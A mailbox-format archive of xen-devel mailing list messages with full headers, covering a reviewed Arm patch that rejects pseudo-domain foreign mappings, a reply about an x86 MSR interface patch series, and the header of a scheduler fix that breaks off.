Received: from CY4PEPF0000EE3D.namprd03.prod.outlook.com
 (2603:10b6:930:83:cafe::17) by CY5PR19CA0100.outlook.office365.com
 (2603:10b6:930:83::12) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.13 via Frontend Transport; Fri,
 17 Jul 2026 07:23:14 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 CY4PEPF0000EE3D.mail.protection.outlook.com (10.167.242.15) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.245.5 via Frontend Transport; Fri, 17 Jul 2026 07:23:14 +0000
Received: from satlexmb07.amd.com (10.181.42.216) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 17 Jul
 2026 02:23:13 -0500
Received: from [10.71.196.80] (10.180.168.240) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Fri, 17 Jul 2026 02:23:12 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=ittTBPQQeiZzGb4Wa0alj1gzJs+MWiU90hFp3ijpwA5RS1YtkSkeSSmh2VHEEP5fUYd/2ouI+SmALj24VSExBuJu1a2pvhuGqtclyyGHUPn4Bly/HXy/z06nUZitXnq0jP8rEeQ/BF/imd8gs6Ml5NEiQPoZ3Xa7JvCjAVR3U1jZZPGIe5PpGSR1qFy4Jlyz4qGV5qfWpFc6dWATEToLl5E5Q6fE4JiMPHhBRbS+0gaBnK+sZu3WjioZSvXwV3jB2Gp219jLK9zNQCHdrw3XB99ObL2UPbRHeu7iEdBioCjxsIYFAlMwiAvJJ6iQdT0FXKxQAcHEnUE1TYJeoIk5ww==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=UG2sZasIwCGKu2i/dou0Rx3A1ZXNa/zg9x2+F//njLE=;
 b=aaOTM6ez9KmfpTWyzuyFNU36gOzA9ip+aJGb/iFsTpiC9vhs0+w+7ywsdsWyR6B8lcHO6r4p+LB1HOhMgKL82yugB2IXtMdSWFsLDRQz6pk3Xh3X4L/bVK7EwaMLoRa2MzWtDtrRsriV1zZsBugeU9JPq8oyahDvpF0fgJyw7GpeHEQTcsoPb4ZzRvo+eUAo4TmUD6SkK2Gs2DF1QSUTxh2I5rErk9DzOEVKBD8oWKsPP2qPyZo/Y7fBvbqjY0v6FZGr5yeEz9VjQSeSqX8q5K/ECa6PpkDq1NZtX8BnhNE4mk8qqKyUGbEvcsVa/6CN5yJhxDwERXUdQz+EmcAnQQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=epam.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=UG2sZasIwCGKu2i/dou0Rx3A1ZXNa/zg9x2+F//njLE=;
 b=MAzXUeLBMm6YWHbP3wykmJNndrz85/vhx0pvebyHB7s9okfhNaRNlP5oSj6F/jRn9/e1MVX1PEPJFPS/wTon8RvA9gYmqeQVBCmkv4CHLThPY/DJzt539Viuavk/1vDVDz3ln9nZpViWyKfNUIHka42vCyHCGqayKT38bG3MhXk=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
Message-ID: <26721f9d-23a3-440b-a1ae-3348f2eef77a@amd.com>
Date: Fri, 17 Jul 2026 09:23:11 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] xen/arm: Reject pseudo-domain foreign mappings in
 xenmem_add_to_physmap_one()
To: Oleksandr Tyshchenko <Oleksandr_Tyshchenko@epam.com>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, "Volodymyr
 Babchuk" <Volodymyr_Babchuk@epam.com>, Ayan Kumar Halder <ayankuma@amd.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>
References: <20260714191655.155717-1-oleksandr_tyshchenko@epam.com>
From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <20260714191655.155717-1-oleksandr_tyshchenko@epam.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CY4PEPF0000EE3D:EE_|LVUPR12MB999162:EE_
X-MS-Office365-Filtering-Correlation-Id: 7bb5a412-f5f1-48fb-c195-08dee3d443c7
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|36860700016|23010399003|376014|82310400026|1800799024|6133799003|56012099006|11063799006|10067099003|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	2okBDhN8A9NeKw+0I9oVAqJLIK1svo+OaYu2iT60q9WV9LuwMohfG9k6FainZNnIFlkq0C/umNQUBQJ3jEJ+anYmUzb5KQdkc3AKvEbNvmuu9eIArw03MGPi4PvGK8UeVlQOoQsuOd6ZsS1RrVptXz12IgUrKbVoHaBSCFHzO0cvIlrNxZTDZ7wv7xQRoWYFn1wbZv9n07mqdkJKc3+ZyfKgoc/RYjE1n8GIG02cwO2FgyTd2Yoj6moKDBxp0UQt3F2qFWglGIDPF8coBAm2Bz7MX2BnqpbrmSj0u7avsVURclFMNULlokLZtzPk6elS63ALyWb50lQCIOv+pgxKuhTDgUDSb5K/OkM47u3AAWW5zCw1cnbRDXC/4vxjrpkdeZH+9aTy0B3zTzFKFYeaofk4Yk9LxbaFqC+Wct0d5cq3vKagBeVnLvchtv2xJWNWtxtJ+8INbiWQObWoX+PIJ9o4rhJ6wjG8wNIIj2uLLhncnLsoM099CYY4RjVl/4Yzdi/5kxR0y+/NVLQ9MnuGepEbjtXYzwQFePLXHWXwrSBdKwNnXaOOsZCJXkq26l5L/qJcOl8Px9is/3bvwjGTG4qsjuR90PUFRhqdf1Sv+lgZFGSi2mqXxzKD1STzz5a4q7qhR+cpzA1MVHONP5iJAcnnwG4zrMuf40RIcR45LBTmT9/657nClQl1YxnS8x4TaP8E1MJFLNSFlj3uyYilLg==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(36860700016)(23010399003)(376014)(82310400026)(1800799024)(6133799003)(56012099006)(11063799006)(10067099003)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	2JZGtmVX/Bt58+aMOZI4gbZz2tzAVUzUFo687SEElJc1zJD482Lklli42AIxPFHQhAtSWx67ndOP0bgaJxFatK/bjaYqqNLbk0IUDicsX0sDyxKLA/MxCNApl1cZ8Ze6tutBfBVKydjHFnIn+TgXtS7prSa9pIhTEw6isn/BZD+a15Gb8rjbRRkzMbvC9xl28ANoI1vXEzLcI+RE21e9J4HUBv9DHNDiqc6MLPgVAh4+oTd5qluFG76HujfeZsQojslOba7XblLz44jfj+7+4L8qaIbAgoS+aTyE8Ew+fOMRMbBn5BitIXHdAGhpHa+mLeBGhLIlDGrVozJQB3C9K0M6Oc3dZTzAN3l80Vu5dX6hPIbgb+5vwJtBP4Sd7wOGgX6Fk4sAZ9ion3h/Hixzws86rWSSUQ2x2cz7x3RFwR+NCevEeqAGsTh582fQV9zO
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 17 Jul 2026 07:23:14.2057
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 7bb5a412-f5f1-48fb-c195-08dee3d443c7
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CY4PEPF0000EE3D.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: LVUPR12MB999162
X-purgate-ID: tlsNG-bad1c0/1784272998-FCC15034-E5BE7D3B/0/0
X-purgate-type: clean
X-purgate-size: 1290



On 14-Jul-26 21:16, Oleksandr Tyshchenko wrote:
> A privileged domain on Arm64 can trigger a data abort in the hypervisor
> by issuing memory_op's XENMEM_add_to_physmap_batch sub-op with
> space=XENMAPSPACE_gmfn_foreign, idx=0 and foreign_domid=DOMID_IO.
> 
> get_pg_owner(DOMID_IO) succeeds, returning a pointer to the dom_io
> pseudo-domain. The subsequent get_page_from_gfn(dom_io, ...) then
> attempts to walk dom_io's P2M table, which is not initialized for
> pseudo-domains, resulting in a data abort in p2m_get_entry() when
> it dereferences the invalid pointer returned by p2m_get_root_pointer().
> 
> Replace get_pg_owner() with explicit domain lookup logic matching
> the x86 implementation: handle DOMID_XEN via rcu_lock_domain(dom_xen),
> and resolve all other domain IDs via rcu_lock_remote_domain_by_id(),
> which rejects pseudo-domains (DOMID_IO, etc.) that are not present in
> the domain hash, returning -ESRCH before any P2M access occurs.
> 
> Fixes: 615897bc6c01 ("xen/arm: Allow a privileged domain to map foreign page from DOMID_XEN")
> Signed-off-by: Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>
Reviewed-by: Michal Orzel <michal.orzel@amd.com>

I would be ok to take this patch in for 4.22. Oleksii, other maintainers?

~Michal



From xen-devel-bounces@lists.xenproject.org Fri Jul 17 09:39:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 17 Jul 2026 09:39:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364868.1615783 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkf2F-00041L-OG; Fri, 17 Jul 2026 09:39:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364868.1615783; Fri, 17 Jul 2026 09:39:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkf2F-00041E-Kc; Fri, 17 Jul 2026 09:39:11 +0000
Received: by outflank-mailman (input) for mailman id 1364868;
 Fri, 17 Jul 2026 09:39:10 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mingo@kernel.org>) id 1wkf2E-000415-HJ
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 09:39:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkf2D-0093NQ-BL
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 11:39:09 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mingo@kernel.org>)
 id 6a59f82c-e002-0a2a0a5209dd-0a2a450b93cc-42
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 11:39:09 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mingo@kernel.org>)
 id 6a59f83b-b7e8-0a2a450b0019-ac6904febcd8-3
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 11:39:08 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id B88A660A5E;
 Fri, 17 Jul 2026 09:39:06 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 583FD1F00A3A;
 Fri, 17 Jul 2026 09:38:47 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1784281146;
	bh=+qglHjGyDrUKXlad/2R3jZv9/pC2LefY+KO7XkEkSko=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=SjJUoV11rwuT+5AizqR6Ts6eoKb6FIGre1Dux163GhMlqZlyOXajtWZ4fayfgVpH9
	 m9cgU5vVhldyF6Xw1Kb8rVhViKflUSonqgQ1XE4NCnm2BVJY+TnbSkh9Z3rIVPhd6s
	 zU7mHk1ONLaADnjIxp+I5dcB3ZX2ynHffnRRVYklEoaeIIz/ZSYdwAkj3wzibEUx9o
	 HnS12bG6z8ihRuFocqmHyHuXUYtM9fOcbFkvkQ/W/8UHnOkWe7OeZRKXrCxZZCA9nQ
	 s6WCpg4YrH/mKvwpz01fi9YDCJ3Uu05lBNYlNAvTtCCufAR6IHv/1e4r2yoFLfOqhY
	 leqJTK6WbuRqA==
Date: Fri, 17 Jul 2026 11:38:45 +0200
From: Ingo Molnar <mingo@kernel.org>
To: Juergen Gross <jgross@suse.com>
Cc: Sean Christopherson <seanjc@google.com>, Arnd Bergmann <arnd@arndb.de>,
	linux-kernel@vger.kernel.org, linux-pm@vger.kernel.org,
	"linux-edac@vger.kernel.org" <linux-edac@vger.kernel.org>,
	x86@kernel.org, linux-acpi@vger.kernel.org, kvm@vger.kernel.org,
	linux-coco@lists.linux.dev, linux-pci@vger.kernel.org,
	virtualization@lists.linux.dev, linux-ide@vger.kernel.org,
	dri-devel@lists.freedesktop.org, linux-fbdev@vger.kernel.org,
	linux-crypto@vger.kernel.org,
	"open list:GPIO SUBSYSTEM" <linux-gpio@vger.kernel.org>,
	linux-hyperv@vger.kernel.org, linux-hwmon@vger.kernel.org,
	linux-perf-users@vger.kernel.org, linux-mtd@lists.infradead.org,
	platform-driver-x86@vger.kernel.org,
	"Rafael J . Wysocki" <rafael@kernel.org>,
	Daniel Lezcano <daniel.lezcano@kernel.org>,
	Zhang Rui <rui.zhang@intel.com>,
	"lukasz.luba@arm.com" <lukasz.luba@arm.com>,
	Jason Baron <jbaron@akamai.com>, Borislav Petkov <bp@alien8.de>,
	Tony Luck <tony.luck@intel.com>,
	Yazen Ghannam <yazen.ghannam@amd.com>, Len Brown <lenb@kernel.org>,
	Pavel Machek <pavel@kernel.org>, Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	"H. Peter Anvin" <hpa@zytor.com>,
	Paolo Bonzini <pbonzini@redhat.com>,
	"Kirill A. Shutemov" <kas@kernel.org>,
	Rick Edgecombe <rick.p.edgecombe@intel.com>,
	Pu Wen <puwen@hygon.cn>, Bjorn Helgaas <bhelgaas@google.com>,
	Ajay Kaher <ajay.kaher@broadcom.com>,
	Alexey Makhalov <alexey.makhalov@broadcom.com>,
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>,
	Viresh Kumar <viresh.kumar@linaro.org>,
	Reinette Chatre <reinette.chatre@intel.com>,
	Dave Martin <Dave.Martin@arm.com>,
	James Morse <james.morse@arm.com>, Babu Moger <babu.moger@amd.com>,
	Tony W Wang-oc <TonyWWang-oc@zhaoxin.com>,
	Damien Le Moal <dlemoal@kernel.org>,
	Niklas Cassel <cassel@kernel.org>, Dave Airlie <airlied@redhat.com>,
	Helge Deller <deller@gmx.de>, linux-geode@lists.infradead.org,
	Olivia Mackall <olivia@selenic.com>,
	Herbert Xu <herbert@gondor.apana.org.au>,
	Linus Walleij <linusw@kernel.org>,
	Bartosz Golaszewski <brgl@kernel.org>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	"K. Y. Srinivasan" <kys@microsoft.com>,
	Haiyang Zhang <haiyangz@microsoft.com>,
	Wei Liu <wei.liu@kernel.org>, Dexuan Cui <decui@microsoft.com>,
	Long Li <longli@microsoft.com>, Guenter Roeck <linux@roeck-us.net>,
	Peter Zijlstra <peterz@infradead.org>,
	Arnaldo Carvalho de Melo <acme@kernel.org>,
	Namhyung Kim <namhyung@kernel.org>,
	Mark Rutland <mark.rutland@arm.com>,
	Alexander Shishkin <alexander.shishkin@linux.intel.com>,
	Jiri Olsa <jolsa@kernel.org>, Ian Rogers <irogers@google.com>,
	Adrian Hunter <adrian.hunter@intel.com>,
	James Clark <james.clark@linaro.org>,
	Josh Poimboeuf <jpoimboe@kernel.org>,
	Pawan Gupta <pawan.kumar.gupta@linux.intel.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Andy Lutomirski <luto@kernel.org>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	Huang Rui <ray.huang@amd.com>,
	Mario Limonciello <mario.limonciello@amd.com>,
	Perry Yuan <perry.yuan@amd.com>,
	K Prateek Nayak <kprateek.nayak@amd.com>,
	"srinivas.pandruvada@linux.intel.com" <srinivas.pandruvada@linux.intel.com>,
	Artem Bityutskiy <artem.bityutskiy@linux.intel.com>,
	Artem Bityutskiy <dedekind1@gmail.com>,
	Miquel Raynal <miquel.raynal@bootlin.com>,
	Richard Weinberger <richard@nod.at>,
	Vignesh Raghavendra <vigneshr@ti.com>,
	Ashok Raj <ashok.raj.linux@gmail.com>,
	Hans de Goede <hansg@kernel.org>,
	Ilpo =?iso-8859-1?Q?J=E4rvinen?= <ilpo.jarvinen@linux.intel.com>,
	Rajneesh Bhardwaj <irenic.rajneesh@gmail.com>,
	David E Box <david.e.box@intel.com>, xen-devel@lists.xenproject.org
Subject: Re: [PATCH 00/32] x86/msr: Drop 32-bit MSR interfaces
Message-ID: <aln4JYxRgdpC3Wse@gmail.com>
References: <20260629060526.3638272-1-jgross@suse.com>
 <d7c1db52-529a-43cc-ac7d-38b52627e8bc@app.fastmail.com>
 <c1608c48-13c2-4290-826b-28b5ca51eaf7@suse.com>
 <7332feff-2649-496c-8e49-b0a19eb54a32@app.fastmail.com>
 <akJUz0kYkEBdLSZ3@gmail.com>
 <akQR9YMtMHReJTfB@google.com>
 <akY4U0jUZm4HOGZ_@gmail.com>
 <99228803-b8b7-47a3-b77c-6fdf3b785730@suse.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <99228803-b8b7-47a3-b77c-6fdf3b785730@suse.com>
X-purgate-ID: tlsNG-42698a/1784281148-1B0DD9EA-11A2E36E/0/0
X-purgate-type: clean
X-purgate-size: 1373


* Juergen Gross <jgross@suse.com> wrote:

> On 02.07.26 12:07, Ingo Molnar wrote:
> > 
> > * Sean Christopherson <seanjc@google.com> wrote:
> > 
> > > > Note that the individual patches are IMO significantly easier to review
> > > > through the actual 32-bit => 64-bit variable assignment changes done
> > > > in isolation (which sometimes include minor cleanups), while
> > > > the Coccinelle semantic patch:
> > > > 
> > > >     { a(b,c) => c = a(b) }
> > > > 
> > > > which changes both the function signature and the order of terms as
> > > > well, is just a single add-on treewide patch.
> > > 
> > > Is the plan for subsystem maintainers to pick up the relevant patches,
> > > and then do the treewide change one release cycle later?
> > 
> > I'll try to keep the patches in a single tree (tip:x86/msr)
> > in the hope of not prolonging the pain two cycles - but it's
> > of course fine for maintainers to pick up the patches too
> > (most of them are standalone), we'll sort it all out in the end.
> 
> Ingo, would you be fine with me posting patch updates just as replies to the
> original patch emails? This would speed things up, as I wouldn't need to wait
> for more review input of all the patches before sending out new versions.

Sure, that works for me too. I've picked up a couple of -v2 patches
already.

Thanks,

	Ingo


From xen-devel-bounces@lists.xenproject.org Fri Jul 17 11:45:33 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 17 Jul 2026 11:45:33 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364930.1615793 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkh0D-0003qE-DN; Fri, 17 Jul 2026 11:45:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364930.1615793; Fri, 17 Jul 2026 11:45:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkh0D-0003q6-7i; Fri, 17 Jul 2026 11:45:13 +0000
Received: by outflank-mailman (input) for mailman id 1364930;
 Fri, 17 Jul 2026 11:45:12 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Oleksii_Moisieiev@epam.com>) id 1wkh0C-0003q0-3G
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 11:45:12 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkh0B-003tJt-2h
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 13:45:11 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Oleksii_Moisieiev@epam.com>)
 id 6a5a15b5-e002-0a2a0a5209dd-0a2a4505bb1e-40
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 13:45:11 +0200
Received: from [52.101.65.133]
 (helo=DU2PR03CU002.outbound.protection.outlook.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Oleksii_Moisieiev@epam.com>)
 id 6a5a15c4-4cb1-0a2a45050019-34654185b8b4-3
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 13:45:08 +0200
Received: from PA6PR03MB10266.eurprd03.prod.outlook.com
 (2603:10a6:102:3cd::18) by AS8PR03MB6949.eurprd03.prod.outlook.com
 (2603:10a6:20b:293::9) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.12; Fri, 17 Jul
 2026 11:45:03 +0000
Received: from PA6PR03MB10266.eurprd03.prod.outlook.com
 ([fe80::2cc9:8d65:65de:c005]) by PA6PR03MB10266.eurprd03.prod.outlook.com
 ([fe80::2cc9:8d65:65de:c005%4]) with mapi id 15.21.0223.011; Fri, 17 Jul 2026
 11:45:03 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=rTWAy/NFDaR4OQoklfPomJn0AazYhRTjPrJS0EWXV8Rgi2b+oDnR6hwRvccVsAsXCkEUdq+uuZiJGZEr6KB63myFQyvINNgxz8BxoQb2X25+51FXhcLB1KHY2tD27obq/j3UxalwfHuHQqC95fECXkxJdSh0X8GyqfMW/XrsoF1C6wMbr/gGu+aPhCn992Pje88cGr+YAPl0onRcyef4P6A5HnIaCRGHgbfCkjrEfiZ9qyudRu/WWVzjNQG5r5dIET072cqh7DpkF/HH84fjxGirduGIm9V3jl9OABEmwjM7zKBcuDo61GlQZWJMw871n2y0eVp2LYzOn/2BFKsVwA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=OrTbwqj4aI37Sajy1Vfhv29q4RHLcdz3hbwUtcIMxyE=;
 b=NnK6WQpSjkSz8N6p/G3MXUIIF6uG3mohASvUR69Au/0oWhhpZ3BaH6EeFEpUVySYXCqQCYCv631PLn7UVa10lE7jQbxiFqc/wWc7zZyrOu6CI1/+g8j1FPX+skbHXbAIy/y0t5y2NdVbH0JydKmD8jOra5RhuBWGpyL4930l+Zww58FyLMiqPcjpNcJiIEx8Q0gf7g3y6+D6yRFfyWMjT97FicunzC61N2hr1qOKMOCZllQZZTrEjVuMQ2uxj5eybauoAh9/VjR3hPzo1OrPVqymaKcErlsq0LhXXmH3wvvZ0sQOYtvpJuYCdVuT5GzT3FzO5Xj+LWE4YeQhjwuYHg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=OrTbwqj4aI37Sajy1Vfhv29q4RHLcdz3hbwUtcIMxyE=;
 b=sO/JWylD8UE2LFTTbe9Yj0SwcDf6cskNCN6lkWx1n87Mh66r5JP+Zrq8jFL2pm6ESKudw4TsxusSetSxEnv2SGR2+QsHnnjXf3qcpXAOPXRfUJI7I2k0+xCPECxkPzFQU+eGE6lIb/V2zyBKON0TJZbHT+yNKXz2WzjZjw6+4H3FpJ9ROGWzrMzxa4kM4dUkm3ogwGe2zr9BZoSZqVIrD7EnwRCikg0iEYnE25GUFXu8DLLifygyI0xLQdG54/LcsYmUluT7ptP+zTMCI86eIEdvqEngHyyxcfc4Zo2kvRNIJZJk5KR66DHS7gHr7iVFIuz7bYSJfiBOkDoNNiQMRA==
From: Oleksii Moisieiev <Oleksii_Moisieiev@epam.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
CC: Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
	Juergen Gross <jgross@suse.com>, Meng Xu <mengxu@cis.upenn.edu>, Oleksii
 Moisieiev <Oleksii_Moisieiev@epam.com>
Subject: [PATCH v2] xen/sched: rt: fix NULL cpupool dereference in
 move_repl_timer()
Thread-Topic: [PATCH v2] xen/sched: rt: fix NULL cpupool dereference in
 move_repl_timer()
Thread-Index: AQHdFeG00FErvj0nOEaMWTVLFzCjeQ==
Date: Fri, 17 Jul 2026 11:45:03 +0000
Message-ID:
